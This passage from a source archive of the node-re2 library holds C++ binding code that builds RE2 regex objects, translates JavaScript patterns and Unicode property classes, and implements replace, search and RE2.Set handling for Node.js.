Nan::Null()); for (auto group : groupNames) { auto value = Nan::Get(indices, group.first); if (!value.IsEmpty()) { Nan::Set(indexGroups, Nan::New(group.second).ToLocalChecked(), value.ToLocalChecked()); } } Nan::Set(indices, Nan::New("groups").ToLocalChecked(), indexGroups); } } else { Nan::Set(result, Nan::New("groups").ToLocalChecked(), Nan::Undefined()); if (re2->hasIndices) { Nan::Set(indices, Nan::New("groups").ToLocalChecked(), Nan::Undefined()); } } if (re2->hasIndices) { Nan::Set(result, Nan::New("indices").ToLocalChecked(), indices); } } info.GetReturnValue().Set(result); } uhop-node-re2-2d93a5d/lib/new.cc000066400000000000000000000141061521435504200163640ustar00rootroot00000000000000#include "./wrapped_re2.h" #include "./util.h" #include "./pattern.h" #include #include #include #include #include std::atomic WrappedRE2::alreadyWarnedAboutUnicode{false}; static const char *deprecationMessage = "BMP patterns aren't supported by node-re2. An implicit \"u\" flag is assumed by the RE2 constructor. In a future major version, calling the RE2 constructor without the \"u\" flag may become forbidden, or cause a different behavior. Please see https://github.com/uhop/node-re2/issues/21 for more information."; inline bool ensureUniqueNamedGroups(const std::map &groups) { std::unordered_set names; for (auto group : groups) { if (!names.insert(group.second).second) { return false; } } return true; } NAN_METHOD(WrappedRE2::New) { if (!info.IsConstructCall()) { // call a constructor and return the result std::vector> parameters(info.Length()); for (size_t i = 0, n = info.Length(); i < n; ++i) { parameters[i] = info[i]; } auto isolate = v8::Isolate::GetCurrent(); auto data = getAddonData(isolate); if (!data) return; auto newObject = Nan::NewInstance(Nan::GetFunction(data->re2Tpl.Get(isolate)).ToLocalChecked(), parameters.size(), ¶meters[0]); if (!newObject.IsEmpty()) { info.GetReturnValue().Set(newObject.ToLocalChecked()); } return; } // process arguments std::vector buffer; char *data = NULL; size_t size = 0; std::string source; bool global = false; bool ignoreCase = false; bool multiline = false; bool dotAll = false; bool unicode = false; bool sticky = false; bool hasIndices = false; auto context = Nan::GetCurrentContext(); bool needFlags = true; if (info.Length() > 1) { if (info[1]->IsString()) { auto isolate = v8::Isolate::GetCurrent(); auto t = info[1]->ToString(Nan::GetCurrentContext()); auto s = t.ToLocalChecked(); size = utf8Length(s, isolate); buffer.resize(size + 1); data = &buffer[0]; writeUtf8(s, isolate, data, buffer.size()); buffer[size] = '\0'; } else if (node::Buffer::HasInstance(info[1])) { size = node::Buffer::Length(info[1]); data = node::Buffer::Data(info[1]); } for (size_t i = 0; i < size; ++i) { switch (data[i]) { case 'g': global = true; break; case 'i': ignoreCase = true; break; case 'm': multiline = true; break; case 's': dotAll = true; break; case 'u': unicode = true; break; case 'y': sticky = true; break; case 'd': hasIndices = true; break; } } size = 0; needFlags = false; } bool needConversion = true; if (node::Buffer::HasInstance(info[0])) { size = node::Buffer::Length(info[0]); data = node::Buffer::Data(info[0]); source = escapeRegExp(data, size); } else if (info[0]->IsRegExp()) { const auto *re = v8::RegExp::Cast(*info[0]); auto isolate = v8::Isolate::GetCurrent(); auto t = re->GetSource()->ToString(Nan::GetCurrentContext()); auto s = t.ToLocalChecked(); size = utf8Length(s, isolate); buffer.resize(size + 1); data = &buffer[0]; writeUtf8(s, isolate, data, buffer.size()); buffer[size] = '\0'; source = escapeRegExp(data, size); if (needFlags) { v8::RegExp::Flags flags = re->GetFlags(); global = bool(flags & v8::RegExp::kGlobal); ignoreCase = bool(flags & v8::RegExp::kIgnoreCase); multiline = bool(flags & v8::RegExp::kMultiline); dotAll = bool(flags & v8::RegExp::kDotAll); unicode = bool(flags & v8::RegExp::kUnicode); sticky = bool(flags & v8::RegExp::kSticky); hasIndices = bool(flags & v8::RegExp::kHasIndices); needFlags = false; } } else if (info[0]->IsObject() && !info[0]->IsString()) { WrappedRE2 *re2 = nullptr; auto object = info[0]->ToObject(context).ToLocalChecked(); if (!object.IsEmpty() && object->InternalFieldCount() > 0) { re2 = Nan::ObjectWrap::Unwrap(object); } if (re2) { const auto &pattern = re2->regexp.pattern(); size = pattern.size(); buffer.resize(size); data = &buffer[0]; memcpy(data, pattern.data(), size); needConversion = false; source = re2->source; if (needFlags) { global = re2->global; ignoreCase = re2->ignoreCase; multiline = re2->multiline; dotAll = re2->dotAll; unicode = true; sticky = re2->sticky; hasIndices = re2->hasIndices; needFlags = false; } } } else if (info[0]->IsString()) { auto isolate = v8::Isolate::GetCurrent(); auto t = info[0]->ToString(Nan::GetCurrentContext()); auto s = t.ToLocalChecked(); size = utf8Length(s, isolate); buffer.resize(size + 1); data = &buffer[0]; writeUtf8(s, isolate, data, buffer.size()); buffer[size] = '\0'; source = escapeRegExp(data, size); } if (!data) { return Nan::ThrowTypeError("Expected string, Buffer, RegExp, or RE2 as the 1st argument."); } if (!unicode) { switch (unicodeWarningLevel) { case THROW: return Nan::ThrowSyntaxError(deprecationMessage); case WARN: printDeprecationWarning(deprecationMessage); break; case WARN_ONCE: if (!alreadyWarnedAboutUnicode) { printDeprecationWarning(deprecationMessage); alreadyWarnedAboutUnicode = true; } break; default: break; } } if (needConversion && translateRegExp(data, size, multiline, buffer)) { size = buffer.size() - 1; data = &buffer[0]; } // create and return an object re2::RE2::Options options; options.set_case_sensitive(!ignoreCase); options.set_one_line(!multiline); // to track this state, otherwise it is ignored options.set_dot_nl(dotAll); options.set_log_errors(false); // inappropriate when embedding std::unique_ptr re2(new WrappedRE2(re2::StringPiece(data, size), options, source, global, ignoreCase, multiline, dotAll, sticky, hasIndices)); if (!re2->regexp.ok()) { return Nan::ThrowSyntaxError(re2->regexp.error().c_str()); } if (!ensureUniqueNamedGroups(re2->regexp.CapturingGroupNames())) { return Nan::ThrowSyntaxError("duplicate capture group name"); } re2->Wrap(info.This()); re2.release(); info.GetReturnValue().Set(info.This()); } uhop-node-re2-2d93a5d/lib/pattern.cc000066400000000000000000000211541521435504200172510ustar00rootroot00000000000000#include "./pattern.h" #include "./unicode_properties.h" #include "./wrapped_re2.h" #include #include #include #include #include static char hex[] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; inline bool isUpperCaseAlpha(char ch) { return 'A' <= ch && ch <= 'Z'; } inline bool isHexadecimal(char ch) { return ('0' <= ch && ch <= '9') || ('A' <= ch && ch <= 'F') || ('a' <= ch && ch <= 'f'); } static std::map unicodeClasses = { {"Uppercase_Letter", "Lu"}, {"Lowercase_Letter", "Ll"}, {"Titlecase_Letter", "Lt"}, {"Cased_Letter", "LC"}, {"Modifier_Letter", "Lm"}, {"Other_Letter", "Lo"}, {"Letter", "L"}, {"Nonspacing_Mark", "Mn"}, {"Spacing_Mark", "Mc"}, {"Enclosing_Mark", "Me"}, {"Mark", "M"}, {"Decimal_Number", "Nd"}, {"Letter_Number", "Nl"}, {"Other_Number", "No"}, {"Number", "N"}, {"Connector_Punctuation", "Pc"}, {"Dash_Punctuation", "Pd"}, {"Open_Punctuation", "Ps"}, {"Close_Punctuation", "Pe"}, {"Initial_Punctuation", "Pi"}, {"Final_Punctuation", "Pf"}, {"Other_Punctuation", "Po"}, {"Punctuation", "P"}, {"Math_Symbol", "Sm"}, {"Currency_Symbol", "Sc"}, {"Modifier_Symbol", "Sk"}, {"Other_Symbol", "So"}, {"Symbol", "S"}, {"Space_Separator", "Zs"}, {"Line_Separator", "Zl"}, {"Paragraph_Separator", "Zp"}, {"Separator", "Z"}, {"Control", "Cc"}, {"Format", "Cf"}, {"Surrogate", "Cs"}, {"Private_Use", "Co"}, {"Unassigned", "Cn"}, {"Other", "C"}, }; static const UnicodePropertyTable *lookupTable(const UnicodePropertyTable *table, size_t count, const std::string &name) { for (size_t i = 0; i < count; ++i) { if (name == table[i].name) { return &table[i]; } } return nullptr; } static const UnicodePropertyTable *findBinaryProperty(const std::string &name) { return lookupTable(kBinaryProperties, kBinaryPropertiesCount, name); } static const UnicodePropertyTable *findScriptExtension(const std::string &name) { return lookupTable(kScriptExtensions, kScriptExtensionsCount, name); } static void appendHexRange(std::string &out, uint32_t lo, uint32_t hi) { char buf[32]; if (lo == hi) { std::snprintf(buf, sizeof(buf), "\\x{%X}", lo); } else { std::snprintf(buf, sizeof(buf), "\\x{%X}-\\x{%X}", lo, hi); } out += buf; } static void appendPropertyRanges(std::string &out, const UnicodePropertyTable *table) { for (size_t i = 0; i < table->count; ++i) { appendHexRange(out, table->ranges[i].lo, table->ranges[i].hi); } } static void appendPropertyComplementRanges(std::string &out, const UnicodePropertyTable *table) { const uint32_t kMaxCp = 0x10FFFFu; uint32_t cursor = 0; for (size_t i = 0; i < table->count; ++i) { uint32_t lo = table->ranges[i].lo; uint32_t hi = table->ranges[i].hi; if (cursor < lo) { appendHexRange(out, cursor, lo - 1); } cursor = hi + 1; } if (cursor <= kMaxCp) { appendHexRange(out, cursor, kMaxCp); } } static void emitProperty(std::string &out, const UnicodePropertyTable *table, bool negate, bool inCharClass) { if (inCharClass) { if (negate) { appendPropertyComplementRanges(out, table); } else { appendPropertyRanges(out, table); } } else { out += negate ? "[^" : "["; appendPropertyRanges(out, table); out += "]"; } } static bool stripPrefix(const std::string &name, const char *prefix, std::string &out) { size_t n = std::strlen(prefix); if (name.size() > n && !std::strncmp(name.c_str(), prefix, n)) { out = name.substr(n); return true; } return false; } bool translateRegExp(const char *data, size_t size, bool multiline, std::vector &buffer) { std::string result; bool changed = false; bool inCharClass = false; if (!size) { result = "(?:)"; changed = true; } else if (multiline) { result = "(?m)"; changed = true; } for (size_t i = 0; i < size;) { char ch = data[i]; if (ch == '\\') { if (i + 1 < size) { ch = data[i + 1]; switch (ch) { case '\\': result += "\\\\"; i += 2; continue; case 'c': if (i + 2 < size) { ch = data[i + 2]; if (isUpperCaseAlpha(ch)) { result += "\\x"; result += hex[((ch - '@') / 16) & 15]; result += hex[(ch - '@') & 15]; i += 3; changed = true; continue; } } result += "\\c"; i += 2; continue; case 'u': if (i + 2 < size) { ch = data[i + 2]; if (isHexadecimal(ch)) { result += "\\x{"; result += ch; i += 3; for (size_t j = 0; j < 3 && i < size; ++i, ++j) { ch = data[i]; if (!isHexadecimal(ch)) { break; } result += ch; } result += '}'; changed = true; continue; } else if (ch == '{') { result += "\\x"; i += 2; changed = true; continue; } } result += "\\u"; i += 2; continue; case 'p': case 'P': if (i + 2 < size) { if (data[i + 2] == '{') { size_t j = i + 3; while (j < size && data[j] != '}') ++j; if (j < size) { std::string name(data + i + 3, j - i - 3); bool negate = data[i + 1] == 'P'; std::string stripped; // Script_Extensions=Hani / scx=Hani — RE2 has no native scx; // expand to a codepoint-range character class. const UnicodePropertyTable *scx = nullptr; if (stripPrefix(name, "Script_Extensions=", stripped) || stripPrefix(name, "scx=", stripped)) { scx = findScriptExtension(stripped); } if (scx) { emitProperty(result, scx, negate, inCharClass); i = j + 1; changed = true; continue; } // General_Category=Letter / gc=Letter — strip prefix so the // existing long-name → short-name map can resolve it. if (stripPrefix(name, "General_Category=", stripped) || stripPrefix(name, "gc=", stripped)) { name = stripped; } // Binary property — expand into a codepoint-range character // class. Covers Emoji, Alphabetic, ASCII, ID_Start, etc. const UnicodePropertyTable *binary = findBinaryProperty(name); if (binary) { emitProperty(result, binary, negate, inCharClass); i = j + 1; changed = true; continue; } // Otherwise, fall through to RE2 (handles General_Category // short names and Script names natively). Long GC names get // translated to the short form via the existing map. result += "\\"; result += data[i + 1]; if (unicodeClasses.find(name) != unicodeClasses.end()) { name = unicodeClasses[name]; } else if (name.size() > 7 && !strncmp(name.c_str(), "Script=", 7)) { name = name.substr(7); } else if (name.size() > 3 && !strncmp(name.c_str(), "sc=", 3)) { name = name.substr(3); } if (name.size() == 1) { result += name; } else { result += "{"; result += name; result += "}"; } i = j + 1; changed = true; continue; } } } result += "\\"; result += data[i + 1]; i += 2; continue; default: result += "\\"; size_t sym_size = getUtf8CharSize(ch); result.append(data + i + 1, sym_size); i += sym_size + 1; continue; } } } else if (ch == '/') { result += "\\/"; i += 1; changed = true; continue; } else if (ch == '(' && i + 2 < size && data[i + 1] == '?' && data[i + 2] == '<') { if (i + 3 >= size || (data[i + 3] != '=' && data[i + 3] != '!')) { result += "(?P<"; i += 3; changed = true; continue; } } else if (ch == '[' && !inCharClass) { inCharClass = true; } else if (ch == ']' && inCharClass) { inCharClass = false; } size_t sym_size = getUtf8CharSize(ch); result.append(data + i, sym_size); i += sym_size; } if (!changed) { return false; } buffer.resize(0); buffer.insert(buffer.end(), result.data(), result.data() + result.size()); buffer.push_back('\0'); return true; } std::string escapeRegExp(const char *data, size_t size) { std::string result; if (!size) { result = "(?:)"; } size_t prevBackSlashes = 0; for (size_t i = 0; i < size;) { char ch = data[i]; if (ch == '\\') { ++prevBackSlashes; } else if (ch == '/' && !(prevBackSlashes & 1)) { result += "\\/"; i += 1; prevBackSlashes = 0; continue; } else { prevBackSlashes = 0; } size_t sym_size = getUtf8CharSize(ch); result.append(data + i, sym_size); i += sym_size; } return result; } uhop-node-re2-2d93a5d/lib/pattern.h000066400000000000000000000004651521435504200171150ustar00rootroot00000000000000#pragma once #include #include // Shared helpers for translating JavaScript-style regular expressions // into RE2-compatible patterns. bool translateRegExp(const char *data, size_t size, bool multiline, std::vector &buffer); std::string escapeRegExp(const char *data, size_t size); uhop-node-re2-2d93a5d/lib/replace.cc000066400000000000000000000274411521435504200172140ustar00rootroot00000000000000#include "./wrapped_re2.h" #include #include #include #include inline int getMaxSubmatch( const char *data, size_t size, const std::map &namedGroups) { int maxSubmatch = 0, index, index2; const char *nameBegin; const char *nameEnd; for (size_t i = 0; i < size;) { char ch = data[i]; if (ch == '$') { if (i + 1 < size) { ch = data[i + 1]; switch (ch) { case '$': case '&': case '`': case '\'': i += 2; continue; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': index = ch - '0'; if (i + 2 < size) { ch = data[i + 2]; if ('0' <= ch && ch <= '9') { index2 = index * 10 + (ch - '0'); if (maxSubmatch < index2) maxSubmatch = index2; i += 3; continue; } } if (maxSubmatch < index) maxSubmatch = index; i += 2; continue; case '<': nameBegin = data + i + 2; nameEnd = (const char *)memchr(nameBegin, '>', size - i - 2); if (nameEnd) { std::string name(nameBegin, nameEnd - nameBegin); auto group = namedGroups.find(name); if (group != namedGroups.end()) { index = group->second; if (maxSubmatch < index) maxSubmatch = index; } i = nameEnd + 1 - data; } else { i += 2; } continue; } } ++i; continue; } i += getUtf8CharSize(ch); } return maxSubmatch; } inline std::string replace( const char *data, size_t size, const std::vector &groups, const re2::StringPiece &str, const std::map &namedGroups) { std::string result; size_t index, index2; const char *nameBegin; const char *nameEnd; for (size_t i = 0; i < size;) { char ch = data[i]; if (ch == '$') { if (i + 1 < size) { ch = data[i + 1]; switch (ch) { case '$': result += ch; i += 2; continue; case '&': result += (std::string)groups[0]; i += 2; continue; case '`': result += std::string(str.data(), groups[0].data() - str.data()); i += 2; continue; case '\'': result += std::string(groups[0].data() + groups[0].size(), str.data() + str.size() - groups[0].data() - groups[0].size()); i += 2; continue; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': index = ch - '0'; if (i + 2 < size) { ch = data[i + 2]; if ('0' <= ch && ch <= '9') { i += 3; index2 = index * 10 + (ch - '0'); if (index2 && index2 < groups.size()) { result += (std::string)groups[index2]; continue; } else if (index && index < groups.size()) { result += (std::string)groups[index]; result += ch; continue; } result += '$'; result += '0' + index; result += ch; continue; } ch = '0' + index; } i += 2; if (index && index < groups.size()) { result += (std::string)groups[index]; continue; } result += '$'; result += ch; continue; case '<': if (!namedGroups.empty()) { nameBegin = data + i + 2; nameEnd = (const char *)memchr(nameBegin, '>', size - i - 2); if (nameEnd) { std::string name(nameBegin, nameEnd - nameBegin); auto group = namedGroups.find(name); if (group != namedGroups.end()) { index = group->second; result += (std::string)groups[index]; } i = nameEnd + 1 - data; } else { result += "$<"; i += 2; } } else { result += "$<"; i += 2; } continue; } } result += '$'; ++i; continue; } size_t sym_size = getUtf8CharSize(ch); result.append(data + i, sym_size); i += sym_size; } return result; } static Nan::Maybe replace( WrappedRE2 *re2, const StrVal &replacee, const char *replacer, size_t replacer_size) { const re2::StringPiece str = replacee; const char *data = str.data(); size_t size = str.size(); const auto &namedGroups = re2->regexp.NamedCapturingGroups(); std::vector groups(std::min(re2->regexp.NumberOfCapturingGroups(), getMaxSubmatch(replacer, replacer_size, namedGroups)) + 1); const auto &match = groups[0]; size_t byteIndex = 0; std::string result; auto anchor = re2::RE2::UNANCHORED; if (re2->sticky) { if (!re2->global) byteIndex = replacee.byteIndex; anchor = re2::RE2::ANCHOR_START; } if (byteIndex) { result = std::string(data, byteIndex); } bool noMatch = true; while (byteIndex <= size && re2->regexp.Match(str, byteIndex, size, anchor, &groups[0], groups.size())) { noMatch = false; auto offset = match.data() - data; if (!re2->global && re2->sticky) { re2->lastIndex += replacee.isBuffer ? offset + match.size() - byteIndex : toUtf16Index(replacee.isAscii, data + byteIndex, match.data() + match.size()); } if (match.data() == data || offset > static_cast(byteIndex)) { result += std::string(data + byteIndex, offset - byteIndex); } result += replace(replacer, replacer_size, groups, str, namedGroups); if (match.size()) { byteIndex = offset + match.size(); } else if ((size_t)offset < size) { auto sym_size = getUtf8CharSize(data[offset]); result.append(data + offset, sym_size); byteIndex = offset + sym_size; } else { byteIndex = size; break; } if (!re2->global) { break; } } if (byteIndex < size) { result += std::string(data + byteIndex, size - byteIndex); } if (re2->global) { re2->lastIndex = 0; } else if (re2->sticky) { if (noMatch) re2->lastIndex = 0; } return Nan::Just(result); } inline Nan::Maybe replace( const Nan::Callback *replacer, const std::vector &groups, const re2::StringPiece &str, const v8::Local &input, bool useBuffers, bool isAscii, const std::map &namedGroups) { std::vector> argv; auto context = Nan::GetCurrentContext(); if (useBuffers) { for (size_t i = 0, n = groups.size(); i < n; ++i) { const auto &item = groups[i]; const auto data = item.data(); if (data) { argv.push_back(Nan::CopyBuffer(data, item.size()).ToLocalChecked()); } else { argv.push_back(Nan::Undefined()); } } argv.push_back(Nan::New(static_cast(groups[0].data() - str.data()))); } else { for (size_t i = 0, n = groups.size(); i < n; ++i) { const auto &item = groups[i]; const auto data = item.data(); if (data) { argv.push_back(Nan::New(data, item.size()).ToLocalChecked()); } else { argv.push_back(Nan::Undefined()); } } argv.push_back(Nan::New(static_cast(toUtf16Index(isAscii, str.data(), groups[0].data())))); } argv.push_back(input); if (!namedGroups.empty()) { auto groups = Nan::New(); Nan::SetPrototype(groups, Nan::Null()); for (std::pair group : namedGroups) { Nan::Set(groups, Nan::New(group.first).ToLocalChecked(), argv[group.second]); } argv.push_back(groups); } auto maybeResult = Nan::CallAsFunction(replacer->GetFunction(), context->Global(), static_cast(argv.size()), &argv[0]); if (maybeResult.IsEmpty()) { return Nan::Nothing(); } auto result = maybeResult.ToLocalChecked(); if (node::Buffer::HasInstance(result)) { return Nan::Just(std::string(node::Buffer::Data(result), node::Buffer::Length(result))); } auto t = result->ToString(Nan::GetCurrentContext()); if (t.IsEmpty()) { return Nan::Nothing(); } v8::String::Utf8Value s(v8::Isolate::GetCurrent(), t.ToLocalChecked()); return Nan::Just(std::string(*s)); } static Nan::Maybe replace( WrappedRE2 *re2, const StrVal &replacee, const Nan::Callback *replacer, const v8::Local &input, bool useBuffers) { const re2::StringPiece str = replacee; const char *data = str.data(); size_t size = str.size(); std::vector groups(re2->regexp.NumberOfCapturingGroups() + 1); const auto &match = groups[0]; size_t byteIndex = 0; std::string result; auto anchor = re2::RE2::UNANCHORED; if (re2->sticky) { if (!re2->global) byteIndex = replacee.byteIndex; anchor = RE2::ANCHOR_START; } if (byteIndex) { result = std::string(data, byteIndex); } const auto &namedGroups = re2->regexp.NamedCapturingGroups(); bool noMatch = true; while (byteIndex <= size && re2->regexp.Match(str, byteIndex, size, anchor, &groups[0], groups.size())) { noMatch = false; auto offset = match.data() - data; if (!re2->global && re2->sticky) { re2->lastIndex += replacee.isBuffer ? offset + match.size() - byteIndex : toUtf16Index(replacee.isAscii, data + byteIndex, match.data() + match.size()); } if (match.data() == data || offset > static_cast(byteIndex)) { result += std::string(data + byteIndex, offset - byteIndex); } const auto part = replace(replacer, groups, str, input, useBuffers, replacee.isAscii, namedGroups); if (part.IsNothing()) { return part; } result += part.FromJust(); if (match.size()) { byteIndex = offset + match.size(); } else if ((size_t)offset < size) { auto sym_size = getUtf8CharSize(data[offset]); result.append(data + offset, sym_size); byteIndex = offset + sym_size; } else { byteIndex = size; break; } if (!re2->global) { break; } } if (byteIndex < size) { result += std::string(data + byteIndex, size - byteIndex); } if (re2->global) { re2->lastIndex = 0; } else if (re2->sticky) { if (noMatch) { re2->lastIndex = 0; } } return Nan::Just(result); } static bool requiresBuffers(const v8::Local &f) { auto flag(Nan::Get(f, Nan::New("useBuffers").ToLocalChecked()).ToLocalChecked()); if (flag->IsUndefined() || flag->IsNull() || flag->IsFalse()) { return false; } if (flag->IsNumber()) { return flag->NumberValue(Nan::GetCurrentContext()).FromMaybe(0) != 0; } if (flag->IsString()) { return flag->ToString(Nan::GetCurrentContext()).ToLocalChecked()->Length() > 0; } return true; } NAN_METHOD(WrappedRE2::Replace) { auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { info.GetReturnValue().Set(info[0]); return; } PrepareLastString prep(re2, info[0]); StrVal& replacee = prep; if (replacee.isBad) return; // throws an exception if (!replacee.isValidIndex) { info.GetReturnValue().Set(info[0]); return; } std::string result; if (info[1]->IsFunction()) { auto fun = info[1].As(); const std::unique_ptr cb(new Nan::Callback(fun)); const auto replaced = replace(re2, replacee, cb.get(), info[0], requiresBuffers(fun)); if (replaced.IsNothing()) { info.GetReturnValue().Set(info[0]); return; } result = replaced.FromJust(); } else { v8::Local replacer; if (node::Buffer::HasInstance(info[1])) { replacer = info[1].As(); } else { auto t = info[1]->ToString(Nan::GetCurrentContext()); if (t.IsEmpty()) return; // throws an exception replacer = node::Buffer::New(v8::Isolate::GetCurrent(), t.ToLocalChecked()).ToLocalChecked(); } auto data = node::Buffer::Data(replacer); auto size = node::Buffer::Length(replacer); const auto replaced = replace(re2, replacee, data, size); if (replaced.IsNothing()) { info.GetReturnValue().Set(info[0]); return; } result = replaced.FromJust(); } if (replacee.isBuffer) { info.GetReturnValue().Set(Nan::CopyBuffer(result.data(), result.size()).ToLocalChecked()); return; } info.GetReturnValue().Set(Nan::New(result).ToLocalChecked()); } uhop-node-re2-2d93a5d/lib/search.cc000066400000000000000000000012611521435504200170360ustar00rootroot00000000000000#include "./wrapped_re2.h" NAN_METHOD(WrappedRE2::Search) { // unpack arguments auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { info.GetReturnValue().Set(-1); return; } PrepareLastString prep(re2, info[0]); StrVal& str = prep; if (str.isBad) return; // throws an exception if (!str.data) return; // actual work re2::StringPiece match; if (re2->regexp.Match(str, 0, str.size, re2->sticky ? re2::RE2::ANCHOR_START : re2::RE2::UNANCHORED, &match, 1)) { info.GetReturnValue().Set(static_cast(str.isBuffer ? match.data() - str.data : toUtf16Index(str.isAscii, str.data, match.data()))); return; } info.GetReturnValue().Set(-1); } uhop-node-re2-2d93a5d/lib/set.cc000066400000000000000000000470311521435504200163710ustar00rootroot00000000000000#include "./wrapped_re2_set.h" #include "./pattern.h" #include "./util.h" #include "./wrapped_re2.h" #include #include #include #include #include struct SetFlags { bool global = false; bool ignoreCase = false; bool multiline = false; bool dotAll = false; bool unicode = false; bool sticky = false; bool hasIndices = false; }; static bool parseFlags(const v8::Local &arg, SetFlags &flags) { const char *data = nullptr; size_t size = 0; std::vector buffer; if (arg->IsString()) { auto isolate = v8::Isolate::GetCurrent(); auto t = arg->ToString(Nan::GetCurrentContext()); if (t.IsEmpty()) { return false; } auto s = t.ToLocalChecked(); size = utf8Length(s, isolate); buffer.resize(size + 1); writeUtf8(s, isolate, &buffer[0], buffer.size()); buffer[buffer.size() - 1] = '\0'; data = &buffer[0]; } else if (node::Buffer::HasInstance(arg)) { size = node::Buffer::Length(arg); data = node::Buffer::Data(arg); } else { return false; } for (size_t i = 0; i < size; ++i) { switch (data[i]) { case 'd': flags.hasIndices = true; break; case 'g': flags.global = true; break; case 'i': flags.ignoreCase = true; break; case 'm': flags.multiline = true; break; case 's': flags.dotAll = true; break; case 'u': flags.unicode = true; break; case 'y': flags.sticky = true; break; default: return false; } } return true; } static bool sameEffectiveOptions(const SetFlags &a, const SetFlags &b) { return a.ignoreCase == b.ignoreCase && a.multiline == b.multiline && a.dotAll == b.dotAll && a.unicode == b.unicode; } static std::string flagsToString(const SetFlags &flags) { std::string result; if (flags.hasIndices) { result += 'd'; } if (flags.global) { result += 'g'; } if (flags.ignoreCase) { result += 'i'; } if (flags.multiline) { result += 'm'; } if (flags.dotAll) { result += 's'; } result += 'u'; if (flags.sticky) { result += 'y'; } return result; } static bool collectIterable(const v8::Local &input, std::vector> &items) { auto context = Nan::GetCurrentContext(); auto isolate = v8::Isolate::GetCurrent(); if (input->IsArray()) { auto array = v8::Local::Cast(input); auto length = array->Length(); items.reserve(length); for (uint32_t i = 0; i < length; ++i) { auto maybe = Nan::Get(array, i); if (maybe.IsEmpty()) { return false; } items.push_back(maybe.ToLocalChecked()); } return true; } auto maybeObject = input->ToObject(context); if (maybeObject.IsEmpty()) { return false; } auto object = maybeObject.ToLocalChecked(); auto maybeIteratorFn = object->Get(context, v8::Symbol::GetIterator(isolate)); if (maybeIteratorFn.IsEmpty()) { return false; } auto iteratorFn = maybeIteratorFn.ToLocalChecked(); if (!iteratorFn->IsFunction()) { return false; } auto maybeIterator = iteratorFn.As()->Call(context, object, 0, nullptr); if (maybeIterator.IsEmpty()) { return false; } auto iterator = maybeIterator.ToLocalChecked(); if (!iterator->IsObject()) { return false; } auto nextKey = Nan::New("next").ToLocalChecked(); auto valueKey = Nan::New("value").ToLocalChecked(); auto doneKey = Nan::New("done").ToLocalChecked(); for (;;) { auto maybeNext = Nan::Get(iterator.As(), nextKey); if (maybeNext.IsEmpty()) { return false; } auto next = maybeNext.ToLocalChecked(); if (!next->IsFunction()) { return false; } auto maybeResult = next.As()->Call(context, iterator, 0, nullptr); if (maybeResult.IsEmpty()) { return false; } auto result = maybeResult.ToLocalChecked(); if (!result->IsObject()) { return false; } auto resultObj = result->ToObject(context).ToLocalChecked(); auto maybeDone = Nan::Get(resultObj, doneKey); if (maybeDone.IsEmpty()) { return false; } if (maybeDone.ToLocalChecked()->BooleanValue(isolate)) { break; } auto maybeValue = Nan::Get(resultObj, valueKey); if (maybeValue.IsEmpty()) { return false; } items.push_back(maybeValue.ToLocalChecked()); } return true; } static bool parseAnchor(const v8::Local &arg, re2::RE2::Anchor &anchor) { if (arg.IsEmpty() || arg->IsUndefined() || arg->IsNull()) { anchor = re2::RE2::UNANCHORED; return true; } v8::Local value = arg; if (arg->IsObject() && !arg->IsString()) { auto context = Nan::GetCurrentContext(); auto object = arg->ToObject(context).ToLocalChecked(); auto maybeAnchor = Nan::Get(object, Nan::New("anchor").ToLocalChecked()); if (maybeAnchor.IsEmpty()) { return false; } value = maybeAnchor.ToLocalChecked(); if (value->IsUndefined() || value->IsNull()) { anchor = re2::RE2::UNANCHORED; return true; } } if (!value->IsString()) { return false; } Nan::Utf8String val(value); std::string text(*val, val.length()); if (text == "unanchored") { anchor = re2::RE2::UNANCHORED; return true; } if (text == "start") { anchor = re2::RE2::ANCHOR_START; return true; } if (text == "both") { anchor = re2::RE2::ANCHOR_BOTH; return true; } return false; } static bool parseMaxMem(const v8::Local &arg, int64_t &maxMem, bool &assigned) { assigned = false; if (arg.IsEmpty() || arg->IsUndefined() || arg->IsNull()) { return true; } if (!arg->IsObject() || arg->IsString()) { return true; // string-only form: anchor; no maxMem possible } auto context = Nan::GetCurrentContext(); auto object = arg->ToObject(context).ToLocalChecked(); auto maybe = Nan::Get(object, Nan::New("maxMem").ToLocalChecked()); if (maybe.IsEmpty()) { return false; } auto value = maybe.ToLocalChecked(); if (value->IsUndefined() || value->IsNull()) { return true; } if (!value->IsNumber()) { return false; } auto maybeNum = value->NumberValue(context); if (maybeNum.IsNothing()) { return false; } double num = maybeNum.FromJust(); if (!std::isfinite(num) || num < 1.0 || std::floor(num) != num) { return false; } // Keep within safe integer range; RE2's max_mem is int64_t but JS Number // can only represent integers exactly up to 2^53 - 1. if (num > 9007199254740991.0) { return false; } maxMem = static_cast(num); assigned = true; return true; } static bool fillInput(const v8::Local &arg, StrVal &str, v8::Local &keepAlive) { if (node::Buffer::HasInstance(arg)) { auto size = node::Buffer::Length(arg); str.reset(arg, size, size, 0, true); return true; } auto context = Nan::GetCurrentContext(); auto isolate = v8::Isolate::GetCurrent(); auto t = arg->ToString(context); if (t.IsEmpty()) { return false; } auto s = t.ToLocalChecked(); auto len = utf8Length(s, isolate); auto buffer = node::Buffer::New(isolate, s).ToLocalChecked(); keepAlive = buffer; str.reset(buffer, node::Buffer::Length(buffer), len, 0); return true; } static std::string anchorToString(re2::RE2::Anchor anchor) { switch (anchor) { case re2::RE2::ANCHOR_BOTH: return "both"; case re2::RE2::ANCHOR_START: return "start"; default: return "unanchored"; } } static std::string makeCombinedSource(const std::vector &sources) { if (sources.empty()) { return "(?:)"; } std::string combined; for (size_t i = 0, n = sources.size(); i < n; ++i) { if (i) { combined += '|'; } combined += sources[i]; } return combined; } static const char setDeprecationMessage[] = "BMP patterns aren't supported by node-re2. An implicit \"u\" flag is assumed by RE2.Set. In a future major version, calling RE2.Set without the \"u\" flag may become forbidden, or cause a different behavior. Please see https://github.com/uhop/node-re2/issues/21 for more information."; NAN_METHOD(WrappedRE2Set::New) { auto context = Nan::GetCurrentContext(); auto isolate = v8::Isolate::GetCurrent(); if (!info.IsConstructCall()) { std::vector> parameters(info.Length()); for (size_t i = 0, n = info.Length(); i < n; ++i) { parameters[i] = info[i]; } auto isolate = 